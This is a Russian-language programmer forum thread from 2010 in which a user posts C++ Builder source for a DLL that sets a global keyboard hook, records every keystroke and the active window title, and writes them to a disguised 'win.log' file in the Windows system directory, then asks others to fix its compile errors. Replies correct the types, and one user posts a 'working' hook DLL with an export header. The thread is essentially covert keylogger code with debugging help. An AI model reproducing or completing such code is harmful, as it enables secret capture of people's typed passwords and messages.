Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > C/C++ программирование > Общие вопросы C/C++
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 18.10.2010, 15:58   #1
legendary
Форумчанин
 
Аватар для legendary
 
Регистрация: 21.04.2010
Сообщений: 125
По умолчанию hook в dll

Код:
#include <vcl.h>
#include <fstream.h>

#pragma hdrstop
#pragma argsused

ofstream f;
HWND SH,HW,HW1;
string wndtext;
char sysdir[144], buf[99], key[16];

int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
        return 1;
}

LRESULT CALLBACK hook(int code, WPARAM wParam, LPARAM lParam)
{
if ((code==HC_ACTION)&&(((lParam>>16)&&KF_UP)==0))
{
HW=GetForegroundWindow;
GetWindowText(HW, buf, 99);
if (HW==HW1) wndtext=""; else
{
wndtext=buf;
wndtext=" "+wndtext+" ";
HW1=GetForegroundWindow;
}
GetKeyNameText(lParam,key,sizeof(key));
f<<wndtext; f<<key;
}
CallNextHookEx(SH, code, wParam, lParam);
return 0;

}


void sethook()
{
GetSystemDirectory(sysdir,144);
SetCurrentDirectory(sysdir);
if (f.is_open()) f.open("win.log", ios::app); else f.open("win.log");
SH=SetWindowsHookEx(WH_KEYBOARD, &hook, hInstance, 0);  //здесь три ошибки
}
Написал аналогичну длл на делфи без проблем, но на с++ что то неполучается. В с++ шарю слабо, потому исправте что где не так.
legendary вне форума Ответить с цитированием
Старый 19.10.2010, 15:28   #2
legendary
Форумчанин
 
Аватар для legendary
 
Регистрация: 21.04.2010
Сообщений: 125
По умолчанию

Чо никто не знает?
legendary вне форума Ответить с цитированием
Старый 19.10.2010, 15:48   #3
BOBAH13
Android Developer
Старожил Подтвердите свой е-майл
 
Аватар для BOBAH13
 
Регистрация: 19.02.2007
Сообщений: 3,708
По умолчанию

Код:
SH=SetWindowsHookEx(WH_KEYBOARD, &hook, hInstance, 0);  //здесь три ошибки
Вас не удивило что нет переменных объявленных ни hook ни hInstance ? Странно вообще, всегда подобные вопросы удивляют, ну вот вы пишите у вас 3 ошибки, почему бы их не почитать? Наверняка было написано типа undefined variables and etc. При этом вы говорите что имели опыт с Delphi. Ах да.. и HOOK SH тоже нет переменной. Как вы вообще код писали?
BOBAH13 вне форума Ответить с цитированием
Старый 19.10.2010, 15:50   #4
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Цитата:
Чо никто не знает?
Я тоже
Цитата:
В с++ шарю слабо
Но...
SetWindowsHookEx возвращает HHOOK, а ты описал HWND SH...
Может тут собачка порытся была?
Цитата:
ни hook
А как же
Цитата:
LRESULT CALLBACK hook(int code, WPARAM wParam, LPARAM lParam)
Это она и имеется ввиду ведь?
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 19.10.2010, 16:00   #5
legendary
Форумчанин
 
Аватар для legendary
 
Регистрация: 21.04.2010
Сообщений: 125
По умолчанию

Код:
#include <vcl.h>
#include <fstream.h>

#pragma hdrstop
#pragma argsused

ofstream f;
HWND HW,HW1;
HHOOK SH;
string wndtext;
HINSTANCE hInstance;
char sysdir[144], buf[99], key[16];

int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
        return 1;
}

LRESULT CALLBACK hook(int code, WPARAM wParam, LPARAM lParam)
{
if ((code==HC_ACTION)&&(((lParam>>16)&&KF_UP)==0))
{
HW=GetForegroundWindow;
GetWindowText(HW, buf, 99);
if (HW==HW1) wndtext=""; else
{
wndtext=buf;
wndtext=" "+wndtext+" ";
HW1=GetForegroundWindow;
}
GetKeyNameText(lParam,key,sizeof(key));
f<<wndtext; f<<key;
}
CallNextHookEx(SH, code, wParam, lParam);
return 0;

}


void sethook()
{
GetSystemDirectory(sysdir,144);
SetCurrentDirectory(sysdir);
if (f.is_open()) f.open("win.log", ios::app); else f.open("win.log");
SH=SetWindowsHookEx(WH_KEYBOARD, &hook, hInstance, 0);
}
Сори за hInstance(незаметил), спс за HHOOK SH(не знал).

[C++ Error] Unit1.cpp(43): E2034 Cannot convert 'long (__stdcall *)(int,unsigned int,long)' to 'int (__stdcall *)()'
[C++ Error] Unit1.cpp(43): E2342 Type mismatch in parameter 'lpfn' (wanted 'int (__stdcall *)()', got 'long (__stdcall *)(int,unsigned int,long)')

LRESULT CALLBACK hook(int code, WPARAM wParam, LPARAM lParam) - а что тут не так?
legendary вне форума Ответить с цитированием
Старый 19.10.2010, 21:13   #6
-LeV-
Пользователь
 
Регистрация: 05.06.2010
Сообщений: 29
По умолчанию

Код:
//---------------------------------------------------------------------------

#include <vcl.h>
#include <windows.h>
#include "hookdll.h"
#pragma hdrstop

//---------------------------------------------------------------------------
HHOOK hook = NULL;
int (__stdcall *p)() = NULL;
HINSTANCE hInstance = NULL;

#pragma argsused
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
  hInstance = hinst;
  return 1;
}
LRESULT __stdcall KbdProc(int code, WPARAM wParam, LPARAM lParam)
{
  HWND WH = FindWindow(0,"Form1");
  PostMessage(WH,WM_USER,wParam,lParam);
  return CallNextHookEx(hook,code,wParam,lParam);
}

  void __stdcall SetHook(bool hooked, HWND winhndl)
{
  p = (int (__stdcall *)())KbdProc;
  if(hooked)
    {hook = SetWindowsHookEx(WH_KEYBOARD,p,hInstance,0);}
  else
    {UnhookWindowsHookEx(hook);}
}

//---------------------------------------------------------------------------
сам с той же проблемой сталкивался - нужно привести указатель на функцию к необходимому виду. То что выложил - рабочая длл

еще может возникнуть проблема с тем что не вызывается функция из длл по имени - исправляется добавлением в проект длл хедера со следующим текстом:
Код:
#ifndef _EXPLICITDLL_
#define _EXPLICITDLL_
extern "C"
{
  void __declspec(dllexport) __stdcall SetHook(bool hooked, HWND winhndl);
}
#endif

Последний раз редактировалось -LeV-; 19.10.2010 в 21:19.
-LeV- вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Простой dll hook не работает Zap Assembler - Ассемблер (FASM, MASM, WASM, NASM, GoASM, Gas, RosAsm, HLA) и не рекомендуем TASM 2 25.06.2010 17:54
HOOK zumm Общие вопросы Delphi 2 29.03.2010 20:21
hook в dll? Altera Win Api 3 09.03.2008 09:54
Hook... Roof Общие вопросы Delphi 5 06.11.2007 16:25
Hook off? Сильванович Михаил Win Api 1 03.04.2007 16:25